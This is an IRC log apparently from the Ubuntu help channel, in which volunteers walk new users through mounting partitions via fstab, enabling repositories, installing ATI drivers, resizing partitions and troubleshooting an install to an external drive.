[01:57] <ardchoille> bruenig: Sorry, didn't see you already helping him.
[01:57] <r00tintheb0x> nah, i just love UNIX
[01:57] <greig_> bruenig : ive formated as u say, where do i find this fstab, sorry im new to linux
[01:57] <dkbg> r00tintheb0x: yeah
[01:57] <r00tintheb0x> :)_
[01:57] <brianves> crdlb  nope even
[01:58] <r00tintheb0x> yeah dkbg
[01:58] <bruenig> ardchoille, how dare you try to swoop in on my kill
[01:58] <dylock> greig_: you also need to add it to your fstab file
[01:58] <bengold> I'm back I went to instal it on an external drive and I got "the ext3 file system creation in partiton #1 of SCSI10 (0,0,0) (sdbd) failed"
[01:58] <ardchoille> bruenig: hahaha
[01:58] <crdlb> brianves, master and pcm ?
[01:58] <bengold> can anyone help and then
[01:58] <r00tintheb0x> you can just "ln -s /etc/init.d/apache2 /etc/rc2.d/S91apache2"
[01:58] <bengold> I'll go away
[01:58] <r00tintheb0x> dkbg, do you know what the S91 represents?
[01:58] <bruenig> greig_, ok so make the mount point, "sudo mkdir /media/hda3"
[01:58] <r00tintheb0x> bengold, SATA?
[01:59] <jeffwheeler> The Feisty beta doesn't fit on a normal-sized CD, 700mb. Is it fine to put it on a DVD, or did I screw up my download?
[01:59] <bengold> umm hmm
[01:59] <brianves> crdlb  all even,  I can set pcm all the way to the left to balance.  but I write music with my pc and any accessing of the volume reverts back to uneven balance
[01:59] <dylock> greig_: /etc/fstab
[01:59] <bengold> no I don't think it is
[01:59] <bruenig> greig_, now do gksudo gedit /etc/fstab, and add the following line at the bottom: /dev/hda3 /media/hda3 ext3 defaults 0 0
[01:59] <dkbg> r00tintheb0x: nope, some are prefixed with K91 too
[01:59] <bengold> (I'm such a noob :P
[01:59] <r00tintheb0x> okay
[01:59] <r00tintheb0x> those scripts start A-Z 1-*
[01:59] <r00tintheb0x> so A1 would start before A2
[02:00] <r00tintheb0x> get it?
[02:00] <psyber> hey guys does anyone know how to update to fiesty w/out installing from a disc?
[02:00] <r00tintheb0x> like you could have S11 T1
[02:00] <r00tintheb0x> S11 would start 1st.
[02:00] <jrib> r00tintheb0x: A-Z?
[02:00] <bruenig> !upgrading | psyber
[02:00] <ubotu> psyber: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[02:00] <dkbg> r00tintheb0x: oh okay interesting
[02:00] <r00tintheb0x> yes jrib
[02:00] <Alonea> Ok, gonna try one more time to fix this before reformatting system. Adept uninstalled my fglrx and now I can't get it to reinstally my video card. http://paste.ubuntu-nl.org/11592/  Even Envy gets same error. and I DO have all those packages.
[02:00] <r00tintheb0x> you could have Z99
[02:00] <j0sh0> hi, I've got an ASUS P5B-MX WIFI_AP mobo, but the wireless NIC is not automatically detected. Ubuntu loads the Atheros drivers, but it should be using realtek drivers. Can someone pleasae tell me how to make it load the correct drivers please???
[02:00] <psyber> ahh thanx brue
[02:00] <cafuego_> Specifically S[0-9] {2} get run in alphabetical order at bootup, and K[0-9] {2} at shutdown.
[02:00] <bengold> r00tintheb0x: no I don't think it is
[02:01] <dkbg> r00tintheb0x: what does "rc" stand for
[02:01] <r00tintheb0x> bengold, its either SATA or SCSI
[02:01] <cafuego_> Runlevel Configuration probably
[02:01] <louieb39> release candidate??
[02:01] <bengold> SCSI
[02:01] <dkbg> r00tintheb0x: and does the ".d" represent daemon or what?
[02:01] <bruenig> greig_, did you get through all of that?
[02:01] <brianves> crdlb,  you there??
[02:01] <r00tintheb0x> dkbg, im not too sure
[02:02] <greig_> bruening : sorry for being slow, yes, just finished
[02:02] <dkbg> runlevel config sounds good
[02:02] <bengold> r00tinthebox: SCSI
[02:02] <r00tintheb0x> dkbg, here's some more info on it though http://beans.seartipy.com/2006/11/25/ubuntu-610-annoyance-failed-to-initialize-hal-error/
[02:02] <r00tintheb0x> :)
[02:02] <crdlb> brianves, I have no idea, sorry
[02:02] <jeffwheeler> So, is Feisty currently 740mb?
[02:02] <bruenig> greig_, ok no hurry, so now it should mount everytime you turn your computer on, do "sudo mount -a" it should mount it like it will at boot
[02:02] <bengold> crap I keep typing your name wrong r00tintheb0x
[02:02] <brianves> crdlb  well thanks for tryin
[02:03] <r00tintheb0x> lol bengold
[02:03] <brianves> anyone else have any ideas  how to fix my balance  my right channel is 2x volume
[02:03] <BUMBACL0T> hey, let's say you're hosting a pirated file on canadian host and you're from U.S., is that considered legal? and what if the file link is also on your page?
[02:03] <greig_> bruening :  ok done, must i reboot to see the drive ?
[02:03] <jrib> BUMBACL0T: not here
[02:03] <bruenig> greig_, sudo mount -a should show the drive
[02:03] <dkbg> r00tintheb0x: I thinjk you sent that link to the wrong person :P
[02:04] <r00tintheb0x> bengold, why are you creating a "sdbd"
[02:04] <r00tintheb0x> ?
[02:04] <Sivik> ok, i found that my ethernet port is seen by the kernel, but how do i go about installing it, per say, from command line
[02:04] <jamiejcumb> how do i make fat files read and write to all?
[02:04] <j0sh0> hi, I've got an ASUS P5B-MX WIFI_AP mobo, but the wireless NIC is not automatically detected. Ubuntu loads the Atheros drivers, but it should be using realtek drivers. Can someone pleasae tell me how to make it load the correct drivers please???
[02:04] <jrib> !vfat > jamiejcumb    (vfat, see the private message from ubotu)
[02:04] <dkbg> !vfat
[02:04] <ubotu> To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions - See also !fuse
[02:04] <brianves> anyone else have any ideas  how to fix my balance  my right channel is 2x volume
[02:05] <greig_> bruening :  ah yes its within the media folder. i expected it to show on destop like my other 2 partitions
[02:05] <r00tintheb0x> bengold, why are you creating a "sdbd" out of curiosity? thats an unconventional layout.
[02:05] <bengold> r00tintheb0x: to tell you the truth I've got no idea what I'm doing, I was just trying to instal it on an external drive
[02:05] <bruenig> greig_, yeah I think it should
[02:05] <bruenig> greig_, maybe it will on boot
[02:05] <harry_> is it possible to read tar.gzipped files on a windoze machine?
[02:05] <jrib> harry_: yes
[02:05] <sp0ro>  Anyone know how to change the sound card alsamixer boots with? I know the name of my sound device, it's snd-via8235, but I am unsure of how to change it in alsamixer.
[02:05] <bengold> r00tintheb0x: in the easiest possible way :P
[02:05] <SeveredCross> WinRAR will, I don't know if WinZIP will.
[02:05] <bruenig> greig_, if not you can always do "ln -s /media/hda3 ~/Desktop/hda3" to create a link to it
[02:06] <r00tintheb0x> bengold, how do you figure?
[02:06] <harry_> thanks
[02:06] <greig_> bruening : there is a folder called lost-found  on the drive. whats this do i need it?
[02:06] <megafauna> Hi, can someone recommend some good software for burning DVDs?
[02:06] <r00tintheb0x> how many partitions are you creating?
[02:06] <kazuka> ANYONE AG
[02:06] <SeveredCross> megafauna: K3b is good.
[02:06] <r00tintheb0x> greig_, just leave it alone.
[02:06] <Ahorner> can I have some help?
[02:06] <r00tintheb0x> when a FSCK finds orphaned nodes/files... it puts them there.
[02:06] <r00tintheb0x> sure Ahorner whats up
[02:06] <kazuka> ANYONE ABLE TO RUN VMWARE XP VIRTUAL ON A UBUNTU HOST??????????????????????????
[02:06] <Ahorner> I need to set my resolution to 1400x900 :-/
[02:06] <bruenig> !caps | kazuka
[02:06] <ubotu> kazuka: PLEASE DON'T SHOUT! We can read lowercase too.
[02:06] <bengold> r00tintheb0x:none because it's going on the external
[02:06] <greig_> r00tinthebOx : ok i will
[02:06] <SeveredCross> kazuka, ditch the caps please, they're rude.
[02:06] <bruenig> funny
[02:06] <rpc> kazuka more !!! please
[02:06] <r00tintheb0x> oooh bengold ... why not make 1 partition then.
[02:06] <greig_> bruening : thank you very much!
[02:06] <rpc> more!
[02:07] <megafauna> SeveredCross - Thanks I'll check it out
[02:07] <SeveredCross> Ahorner: Sounds like you need your video driver. :)
[02:07] <rpc> oh he is gone.. good
[02:07] <AtlanticBoy> I have adsl line, a modem/router connected to the ethernet card.Is there a way of programming the router ( include pass and authname ) instead of having to configure a new dsl connection each time I reinstall the system?
[02:07] <SeveredCross> ATI or nVidia?
[02:07] <Ahorner> ok.
[02:07] <brianves> kazuka  yes
[02:07] <sp0ro>  Anyone know how to change the sound card alsamixer boots with? I know the name of my sound device, it's snd-via8235, but I am unsure of how to change it in alsamixer.
[02:07] <megafauna> SeveredCross - what is the default software in ubuntu?
[02:07] <Ahorner> its an ati radeon xpress 200
[02:07] <r00tintheb0x> or are you mirroring them bengold ?
[02:07] <SeveredCross> megafauna: For burning DVD's? I have no idea, I don't remember.
[02:07] <Ahorner> can i just get the inf from my other hd?
[02:07] <bengold> r00tinthebox: hey  Id love to but I don't know, I just was following what the ubuntu installer told me
[02:07] <megafauna> SeveredCross - k, its just that I can't find it
[02:07] <SeveredCross> Ahorner: Get nvy--it's a Python script that installs ATI/nVidia drivers and configures x-org for you.
[02:07] <Ahorner> (the one running winblows)
[02:08] <Ahorner> yes sir
[02:08] <greig_> bruening : can i ask 1 more Q? my default hdd where ubuntu is installed for some reason is set to only 4 gig, is there a way i can increase this without a reinstall ?
[02:08] <SeveredCross> You should be able to get Envy via sudo apt-get install envy
[02:08] <Ahorner> sourceforge?
[02:08] <blanky> !envy | ahorn
[02:08] <ubotu> ahorn: envy is a Python script that eases installation of the official Nvidia and ATI drivers. This software is NOT supported by ubuntu and you will not receive aid for it here. More at http://albertomilone.com/nvidia_scripts1.html See !nvidia and !nvidia9
[02:08] <bengold> r00tintheb0x: the installer failed me :'(
[02:08] <SeveredCross> Though you may need to enable the multiverse/universe repos.
[02:08] <Ahorner> im new at this
[02:08] <blanky> !envy | Ahorner
[02:08] <ubotu> Ahorner: envy is a Python script that eases installation of the official Nvidia and ATI drivers. This software is NOT supported by ubuntu and you will not receive aid for it here. More at http://albertomilone.com/nvidia_scripts1.html See !nvidia and !nvidia9
[02:08] <woz> im new at this
[02:08] <j0sh0> Hey can someone please tell me how to get Ubuntu to load realtek drivers for my wifi instead of atheros???
[02:08] <bruenig> greig_, you can make it bigger on the end, but you will have to format the partition directly after it to do that
[02:08] <Ahorner> how would i enable universe
[02:08] <Ahorner> wait i know this
[02:08] <SeveredCross> :)
[02:08] <Ahorner> ect acp
[02:09] <r00tintheb0x> bengold... lol
[02:09] <Ahorner> etc*
[02:09] <bruenig> apt*
[02:09] <blanky> Ahorner: sudo gedit /etc/apt/sources.list and just uncomment things
[02:09] <SeveredCross> Well, you can either gksudo gedit /etc/apt/sources
[02:09] <r00tintheb0x> you're trying to install from the CD to an external SCSI array or something?
[02:09] <Ahorner> ok
[02:09] <SeveredCross> Err, sources.list, right.
[02:09] <Ahorner> lol
[02:09] <blanky> Ahorner: or if you want to do it the GUI way (Which to me seems more complicated), then
[02:09] <jamiejcumb> ubotu  I have all ready added to fstab with rw but not all files are being seen any ideas?
[02:09] <blanky> !repositories | Ahorner
[02:09] <ubotu> Ahorner: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[02:09] <AtlanticBoy> How can I have access to the router settings ?
[02:09] <greig_> bruening : so i'd loose everything of my defult install?
[02:09] <Ahorner> wow everybodys talkin to me lol
[02:09] <ardchoille> !gksudo > blanky
[02:09] <sp0ro>  Anyone know how to change the sound card alsamixer boots with? I know the name of my sound device, it's snd-via8235, but I am unsure of how to change it in alsamixer.
[02:09] <Ahorner> sudo gedit /etc/apt/sources.list
[02:09] <ardchoille> !gksudo > Ahorner
[02:09] <brianves> kazuka  http://www.ubuntuforums.org/showthread.php?t=183209&highlight=installing+vmware
[02:09] <bengold> r00tintheb0x: all I want to do is instal ubuntu from a pc onto an external hd, nothing fancy :)
[02:10] <bruenig> greig_, you would lose whatever is on the partition directly after the partition you are trying to make bigger
[02:10] <efface> sp0ro, its alsaconf
[02:10] <blanky> Ahorner: gksudo gedit /etc/apt/sources.list
[02:10] <jlowell> help please I cannot install feisty fawn it just sits at first cd boot screen saying loading... and nothing more.
[02:10] <sp0ro> efface: unknown command :(
[02:10] <r00tintheb0x> bengold, im just confused as to how you're installing to an external single SCSI drive is all.
[02:10] <bruenig> jlowell, #ubuntu_1
[02:10] <greig_> bruening : well thats where ubuntu's installed onto, so really i'd need to reinstall yea?
[02:10] <bruenig> jlowell, #ubuntu+1
[02:10] <j0sh0> Hey can someone please tell me how to get Ubuntu to load realtek drivers for my wifi instead of atheros???
[02:10] <bruenig> greig_, ubuntu cannot be installed on the partition and the partition directly after it, that doesn't make sense
[02:11] <efface> sp0ro,  try sudo alsaconf
[02:11] <bengold> r00tintheb0x: I'm confused myself
[02:11] <sp0ro> efface: Same thing
[02:11] <cables> Where's Ubiquity's bugtracker? I think I found something in the Feisty installer.
[02:11] <efface> try sudo /etc/init.d/alsaconf
[02:11] <brianves> anyone else have any ideas  how to fix my balance  my right channel is 2x volume
[02:11] <r00tintheb0x> bengold, do you have an external USB drive?
[02:11] <Ahorner> is there a keyboard shortcut for terminal?
[02:11] <Ahorner> (defult)
[02:11] <jrib> cables: bugs.ubuntu.com
[02:11] <cables> jrib, "ubiquity does not use Malone as its bug tracker."
[02:12] <daobhaidh> @ahorner no i dont think so
[02:12] <bengold> r00tintheb0x: yes it's a lacie 160gb
[02:12] <cables> jrib, check https://bugs.launchpad.net/ubiquity/+filebug
[02:12] <daobhaidh> @ahorner at least mine was blank
[02:12] <efface> ok, problem, im using alsa in wine (yes i know oss is recommended but it doesnt work for me) and for the wave out and wave in it lists ASD Capture/Standard, instead of Audigy2 or Emu10k1 like it does in mini out/in
[02:12] <r00tintheb0x> ben thats a SATA not a SCSI... Linux just sees it as SCSI.
[02:12] <jamiejcumb> I have my fat partion mounted with fstab with rw but rhythembox does not see all my files permission problems i guess any one help.
[02:12] <levmatta> hello I need some info on the /boot dir (in my case a partition)
[02:12] <r00tintheb0x> ben are you booted from the live CD?
[02:12] <bengold> yeah
[02:12] <r00tintheb0x> bengold, why not dual boot?
[02:13] <bruenig> jamie, perhaps fmask and dmask will be a better way
[02:13] <Ahorner> im back
[02:13] <FurryNemesis> anyone else been getting crashy firefox 2.0.0.3?
[02:13] <jrib> cables: I said that because there are tons of bugs against it: https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bugs :/
[02:13] <Ahorner> ok so i did gksudo gedit /etc/apt/sources.list
[02:13] <greig_> bruening : sorry if im not making sence, heres my issue.../dev/hda3 is where ubuntu is installed, and its only 4 gig total size with less that 1g remaining, so i need to increase this, but the only way to increase this will involve losing all data on this drive, correct? meaning having to install ubuntu again?
[02:13] <Ahorner> put in pass
[02:13] <Ahorner> now what
[02:13] <bengold> r00tintheb0x: dual boot with the external?
[02:13] <Ahorner> what do i edit
[02:13] <levmatta> I whant to have multiple ubuntus + a windows in my machine
[02:13] <Ahorner> how many hd's do you have
[02:13] <cables> jrib, thanks... why was i not able to get there before by searching "ubiquity" in products search?
[02:13] <levmatta> 2 hd
[02:13] <r00tintheb0x> bengold, do you have windows on the computer you're trying to install to?
[02:13] <Ahorner> me 2
[02:14] <Ahorner> guys how do i turn on universe. ive already done gksudo gedit /etc/apt/sources.list
[02:14] <bruenig> greig_, ok here is the best way to do this. List each partition in order from front of the disk to back of the disk and tell me what is one each (eg. Partition One - ubuntu Partition two - ext3 storage)
[02:14] <jrib> cables:https://bugs.launchpad.net/ubuntu/+source/ubiquity/+filebug  works, I have no idea why ubiquity didn't turn up in product search.  Did you try searching for packages in ubuntu called ubiquity?
[02:14] <levmatta> this computer already has a windows and a ubuntu edgy
[02:14] <bengold> r00tintheb0x: yes (although I'm really a mac user) it's vista
[02:14] <cables> jrib, i just  went to bugs.launchpad.net and typed "ubiquity" in the box
[02:14] <r00tintheb0x> bengold, thats fine.
[02:14] <digi> what would be the easiest way to send mail from a shell?
[02:14] <efface> ok, problem, im using alsa in wine (yes i know oss is recommended but it doesnt work for me) and for the wave out and wave in it lists ASD Capture/Standard, instead of Audigy2 or Emu10k1 like it does in mini out/in
[02:14] <bruenig> Ahorner, see the lines about half way down that have universe at the end? yeah delete the # from in front of them, then save and exit. Then do sudo apt-get update
[02:14] <Ahorner> :-(
[02:14] <jrib> cables: ahem, lp is not always the most straightforward thing...
[02:15] <r00tintheb0x> Do you have 1 internal hard disk bengold ?
[02:15] <Ahorner> ok
[02:15] <cables> jrib, ok :)
[02:15] <bengold> r00tintheb0x: yeah
[02:15] <therage> got a question.  i have an athlon 64, but have never been able to utilize it with my winXP pro install.  are there any issues or reasons not to install the 64 bit ubuntu?
[02:15] <cables> jrib, do you know why Canonical decided to create Launchpad and not just use Bugzilla or something like that?
[02:15] <levmatta> when I particioned the hd I left my /boot as a particioned because I thought my linux's could share it
[02:15] <clearzen>  therage: In all honesty I've tried it. It's a pain ddon't do it
[02:15] <jrib> cables: I think the idea is to have a central place to report bugs instead of each project having its own
[02:15] <clearzen>  therage: no flash etc etc etc
[02:16] <therage> i had a feeling.  so stick with the 32 bit version?
[02:16] <cables> jrib, so Launchpad is like a meta-bugtracker?
[02:16] <brianves> anyone else have any ideas  how to fix my balance  my right channel is 2x volume
[02:16] <SeveredCross> brianves: Use alsamixer?
[02:16] <r00tintheb0x> Ack, dual booting vista & edgy is a pain.
[02:16] <r00tintheb0x> okay bengold are you booted into the Ubuntu Live CD?
[02:16] <cables> brianves, open the volume control. You can fix it there
[02:16] <brianves> severedcross alsa says its even across
[02:17] <SeveredCross> Weird.
[02:17] <bengold> r00tinthebox: yup
[02:17] <cables> brianves, compensate by putting the right one down...
[02:17] <r00tintheb0x> bengold, are you fimiliar with a bash prompt?
[02:17] <levmatta> anyone??
[02:17] <r00tintheb0x> the text dialouge
[02:17] <harry_> I am using Amarok
[02:17] <bengold> r00tintheb0x: uhhh... no
[02:17] <jrib> cables: yeah in a way, it does that in addition to the translations, specs, support, etc...  There's a #launchpad where someone who actually know what they are talking about can give you a more meaningful answer if you are interested
[02:18] <brianves> cables i need a permanent fix though.  I make music on my pc and when the programs change levels it defaults back to linked volume or baad baalance
[02:18] <harry_> and am wondering if there is a way to access the help menu
[02:18] <r00tintheb0x> ok bengold
[02:18] <tehquickness> Nothing happens when I prest Alt+f2 ..... should I get a run application popup?
[02:18] <r00tintheb0x> msg me, i think i can help you
[02:18] <Ahorner> why did i get this?   :~$ gksudo gedit /etc/apt/sources.list
[02:18] <Ahorner> (gedit:10138): GnomeUI-WARNING **: While connecting to session manager:
[02:18] <Ahorner> Authentication Rejected, reason : None of the authentication protocols specified are supported and host-based authentication failed.
[02:18] <r00tintheb0x>  /msg r00tintheb0x
[02:18] <r00tintheb0x> then type anything
[02:18] <bruenig> Ahorner, don't worry about it
[02:18] <Ahorner> kk
[02:18] <gop> !beryl
[02:18] <cables> Ahorner, I get that all the time, it hasn't caused any problems
[02:18] <ubotu> Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[02:18] <j0sh0> Hey can someone please tell me how to get Ubuntu to load realtek drivers for my wifi instead of atheros???
[02:18] <Ahorner> changed and saved
[02:18] <Ahorner> updating now
[02:18] <levmatta> how do I install 2 linux (+ the windows) and keep things working
[02:18] <levmatta> ?
[02:18] <main2> anyone using Atheros here?
[02:19] <cables> brianves, change the setting for PCM and use master for regular control
[02:19] <Joshooa> install windows first
[02:19] <Ahorner> ok its done
[02:19] <bruenig> levmatta, just keeb grub up to date
[02:19] <cables> main2, yeah, worked out of the box
[02:19] <Ahorner> now what
[02:19] <r00tintheb0x> bengold, what was the exact error you got again?
[02:19] <digi> what would be the easiest way to send mail from a command line?
[02:19] <main2> i would like to know what madwifi driver comes with dapper
[02:19] <levmatta> main2, no
[02:19] <bruenig> Ahorner, now universe is enabled
[02:19] <tehquickness> Nothing happens when I prest Alt+f2 ..... should I get a run application popup?
[02:19] <Ahorner> yay
[02:19] <cables> levmatta, just install as normal, Ubuntu's installer will detect other OS's.
[02:19] <wilo> hello bruenig
[02:19] <brianves> cables I tried that too same outcome
[02:19] <cables> tehquickness, on GNOME you should
[02:19] <Ahorner> now i install that one thingy
[02:19] <Joshooa> If I install Ubuntu and Fedora, can I have them use the same partition(s) for swap?
[02:19] <main2> cables: could you check dmesg|grep ath    for me?
[02:19] <main2> :)
[02:19] <levmatta> ok
[02:19] <Ahorner> envy
[02:19] <cables> brianves, no idea than...
[02:19] <cables> main2, sure
[02:19] <brianves> cables well thanks anyway
[02:19] <tehquickness> cables, Unfortunatly, I get nothing
[02:20] <levmatta> but in my new linux install I should not use my existing /boot partition
[02:20] <Whatsisname> Joshooa, yes
[02:20] <greig_> bruenig : partition 1 /dev/hda1 -extended (not in use)        partition 2  /dev/hda5 ntfs windows/linux files                 partition 3 /dev/hda6 linux-swap              partition 4 /dev/hda4 ext3 ubuntu install             partition 5 /dev/hda 2 ntfs windows c:/                                Partirion 6 /dev/hda3/ ext3  (this one we just fromated and mounted)
[02:20] <tehquickness> cables, I guess the dumb thing for me to do would be to check the shortcuts lol
[02:20] <cables> tehquickness, maybe :)
[02:20] <Ahorner> i keep gettin a dependancy error when i download the envy thing
[02:20] <kubuntu-familia> Cuidado com o caderudo...
[02:20] <Joshooa> Whatsisname: Sweet thanks
[02:20] <kubuntu-familia> Ele vai te pegar...
[02:20] <bruenig> greig_, yeah you would have to format the windows c:/ to resize
[02:20] <Ahorner> dependenct not satisfyable
[02:20] <Joshooa> Whatsisname: What about a home directory, prob not right?
[02:21] <Ahorner> module assistant
[02:21] <bengold> r00tintheb0x: I have to run the installer again on sec
[02:21] <cables> levmatta, http://paste.ubuntu-nl.org/11786/
[02:21] <levmatta> Joshooa you can reuse the /swap partition (I did this once)
[02:21] <bruenig> greig_, or you would have to reinstall and format partition 4 and 3 and 2 if necessary to get the necessary space
[02:21] <Whatsisname> home directory you can use between both as well
[02:21] <greig_> bruenig : the drive we just formated and mounted, would that be ok to use?
[02:21] <Whatsisname> Joshooa, /home will be fine in both
[02:21] <Ahorner> dependenct not satisfyable: module assistant
[02:21] <tehquickness> cables, I checked those it says it is set to alt+f2 and I even reset it to that
[02:21] <bruenig> greig_, yeah
[02:21] <cables> tehquickness, weird...
[02:21] <r00tintheb0x> okay bengold
[02:21] <Joshooa> And it wont mess up anything in either OS, and I can have the same files in my home directory and they'll be ok?
[02:21] <bruenig> greig_, and then make partition four a 4 gb dead space or something. I guess you could put stuff on it
[02:21] <Ahorner> g2g guys
[02:21] <Ahorner> cya l8r
[02:21] <xptical> is there any problem with moving /var/www to /home/user/www and then chowning the dir to user:user?
[02:22] <Whatsisname> Joshooa, when I first started using gnu/linux I started with Suse, went to debian, to ubuntu, and back to debian, the whole time never started fresh with my /home directory
[02:22] <tehquickness> hmmm maybe I am missing things
[02:22] <Whatsisname> never had a problem whatsoever
[02:22] <bruenig> xptical, no
[02:22] <efface> ok, problem, im using alsa in wine (yes i know oss is recommended but it doesnt work for me) and for the wave out and wave in it lists ASD Capture/Standard, instead of Audigy2 or Emu10k1 like it does in mini out/in
[02:22] <r00tintheb0x> bengold, you dont need to fire up the installer again yet.
[02:22] <cables> levmatta, that help?
[02:22] <tehquickness> cables, what command is that supposed to call?
[02:22] <levmatta> cables I did not understand your post, what does dsmeg have to do with anything
[02:22] <xptical> apache won't freak out and die?
[02:22] <cables> tehquickness, not sure there... lemme try to check
[02:22] <greig_> bruenig : but i will need to install ubuntu again onto any partitions i decide to use?
[02:22] <cables> levmatta, nvm, sent to the wrong person
[02:22] <bengold> r00tintheb0x: the ext3 file system creation in partition #1 od SCSI10 (0,0,0) (sdbd failed
[02:22] <Joshooa> Whatsisname: But what about when I actively use both, and go back and forth, will they both use the home directory, and see the same files okay?
[02:22] <cables> main2, http://paste.ubuntu-nl.org/11786/
[02:23] <bruenig> greig_, yeah, the only way you wouldn't have to reinstall is if you formatted your windows c:
[02:23] <tehquickness> cables, maybe I am missing somefile that I can just re install
[02:23] <r00tintheb0x> bengold, do you have anything on that druve?
[02:23] <r00tintheb0x> bengold, do you have anything on that drive?
[02:23] <Whatsisname> assuming you set up your fstab properly, and make sure your user account has the same UID, it will work fine
[02:23] <bengold> r00tintheb0x: no
[02:23] <main2> cables: dankjewel :- ))
[02:23] <Whatsisname> all your settings and stuff will work the same on both sides
[02:23] <Joshooa> yeah UID would be the same
[02:23] <r00tintheb0x> okay follow me...
[02:23] <r00tintheb0x> up top
[02:23] <r00tintheb0x> click
[02:23] <Whatsisname> its quite awesome, really
[02:23] <r00tintheb0x> bengold, applications>accessories>terminal
[02:23] <greig_> bruenig : obv my aim is to free up space to add to my  hda4(linux install) without haveing to reistall ubuntu
[02:24] <bengold> yup
[02:24] <r00tintheb0x> bengold, private message me because i cant see through all this test
[02:24] <r00tintheb0x> type "/msg r00tintheb0x test"
[02:24] <bruenig> greig_, right, you have one choice, format c:. Other than that you will have to reinstall.
[02:24] <wilo> how do i configure wine to play counter strike on ubuntu?
[02:24] <cables> r00tintheb0x, he's not registered
[02:24] <r00tintheb0x> oooh
[02:24] <bruenig> greig_, format c and then incorporate that into hda4
[02:24] <greig_> bruenig ok so say i do format c.......
[02:24] <cables> !register | bengold
[02:24] <ubotu> bengold: Information about registering your Freenode nick is at http://freenode.net/faq.shtml#contents-userregistration
[02:24] <levmatta> ok, so I will try to install. just one more question: As I understand creating a /boot partition is completely useless
[02:24] <levmatta> is it
[02:24] <r00tintheb0x> crud... ok bengold open up the terminal.
[02:24] <levmatta> ?
[02:25] <main2> cables: ok that looks awsome BIG BIG thanks
[02:25] <cables> main2, no prob
[02:25] <bengold> it's open
[02:25] <greig_> bruenig thats what i was gonna ask lol, can this be done with Gparted?
[02:25] <bruenig> greig_, you would need to get into the live cd. And then get gparted fired up and delete c and then resize hda4
[02:25] <greig_> bruenig : this is sounding scary lol
[02:25] <wilo> bruenig: do you know how i can configure wine to play counter strike on ubuntu?
[02:25] <bruenig> wilo, No I don't
[02:26] <jexdawg> wilo, it is possible. google it.. i found an easy guide for it
[02:26] <r00tintheb0x> wilo, http://www.transgaming.com/index.php?module=ContentExpress&file=index&func=display&ceid=29
[02:26] <bruenig> greig_, not really. You go into the live cd. Open gparted, right click delete hda5, then right click hda4 and resize. Then restart take out the live cd and all is well.
[02:26] <wilo> jexdawg: do you have the guide handy?
[02:26] <r00tintheb0x> bengold,
[02:26] <r00tintheb0x> type this
[02:26] <jexdawg> wilo: i'll find. hold on.
[02:26] <r00tintheb0x> "dmesg |grep sda"
[02:26] <kofler> What could this possibly mean? http://phpfi.com/218856
[02:26] <bruenig> greig_, if hda5 is mounted at boot right now, you will also need to remove that line from fstab
[02:27] <cables> r00tintheb0x, bengold, here's a tip in case you don't know: to copy/paste in the terminal, use ctrl-shift-c and ctrl-shift-v
[02:27] <r00tintheb0x> or middle mouse button bengold
[02:27] <r00tintheb0x> that'll work too
[02:27] <greig_> bruenig : so even tho theres data on hda4 it will remain and resize ok? obv i loose windows though
[02:27] <bengold> type that in the terminal?
[02:27] <r00tintheb0x> yes
[02:27] <r00tintheb0x> "dmesg |grep sda"
[02:27] <bruenig> greig_, right
[02:27] <r00tintheb0x> w/o the " 's
[02:27] <r00tintheb0x> you can highlight it bengold and press the middle mouse button in the terminal, and i'll paste it
[02:28] <levmatta> can I find a way to eliminate my /boot partition (put it in /)
[02:28] <r00tintheb0x> visa versa terminal---->here
[02:28] <levmatta> ?
[02:28] <r00tintheb0x> yes levmatta
[02:28] <greig_>  bruenig : ok well i also have my c mounted  so i will save all my data i can from that and give it a try, are u plannning on staying around for a while?
[02:28] <r00tintheb0x> mine is in /
[02:28] <levmatta> what steps?
[02:28] <bengold> ok did it
[02:28] <r00tintheb0x> you have to move it to your / partition the update GRUB to find the boot folder.
[02:28] <bruenig> greig_, yeah and you can get on irc from the live cd
[02:29] <r00tintheb0x> bengold, did it bring any output back?
[02:29] <TankC> Has anyone here sucessfully updated from 6.10 to 7.04beta using the upgrade-manager -d method?
[02:29] <greig_>  bruenig : so i boot from disc ?
[02:29] <jexdawg> wilo: http://linux-gamers.com/ go to Howtos: then FPS --> Steam, HL, CS, and whatnot. thats the guide.
[02:29] <maccam94> r00tintheb0x, i'm doing it right now
[02:29] <bruenig> greig_, boot from the cd yes
[02:29] <bengold> yeah a lot of can't finds
[02:29] <r00tintheb0x> maccam94, what are you doing? lol
[02:29] <r00tintheb0x> that wasn't for you
[02:29] <r00tintheb0x> oooh
[02:29] <r00tintheb0x> you're the other dude
[02:29] <r00tintheb0x> oka
[02:29] <greig_>  bruenig  ok thanks i'll just get saving some data from c atm, thanks for now :)
[02:29] <levmatta> as I understand: copy /boot to / as /bootnew, then umount /boot, rename /boot
[02:30] <Pollywog> where is the "iface" command, what package has it?
[02:30] <levmatta> them correct grub
[02:30] <wilo> jexdawg: thanks
[02:30] <mitzgitari> Please, the Feisty Fawn will come with grafical PPPOE dialer?
[02:30] <r00tintheb0x> bengold, you did "dmesg |grep sda"?
[02:30] <r00tintheb0x> if so
[02:30] <r00tintheb0x> paste the results here and paste me the link http://pastebin.ca/
[02:30] <maccam94> r00tintheb0x, whoops sorry actually meant TankC (right below your message)
[02:30] <r00tintheb0x> sure thing maccam94
[02:30] <r00tintheb0x> :)
[02:30] <maccam94> TankC, i'm upgrading with the update manager atm
[02:30] <jexdawg> i just installed and ran Envy (latest version) and installed the ATI driver. it broke my x-server and i had to reset xorg.conf and restart gdm. am i doing something wrong? i tried it again and got the same results. does envy just not play nicely with me for some reason?
[02:31] <TankC> maccam94: I tried earlier today and I got a load of bad errors
[02:31] <Pollywog> the iface command is mentioned in the SSH VPN documentation but I do not know which package has it; I think it is a typo
[02:31] <TankC> which then rendered my system unuseable
[02:31] <TankC> I just finished reinstalling 6.10
[02:31] <Sivik> i added the needed lines in the /etc/network/interfaces file, but i'm still getting the following errors: http://paste.ubuntu-nl.org/11787/
[02:31] <maccam94> TankC, well it's almost done d/lling here, and i've got automatix, so i'l see how it goes
[02:31] <r00tintheb0x> bengold, you still w/me?
[02:32] <TankC> What's automatix?
[02:32] <bengold> yeah on sec
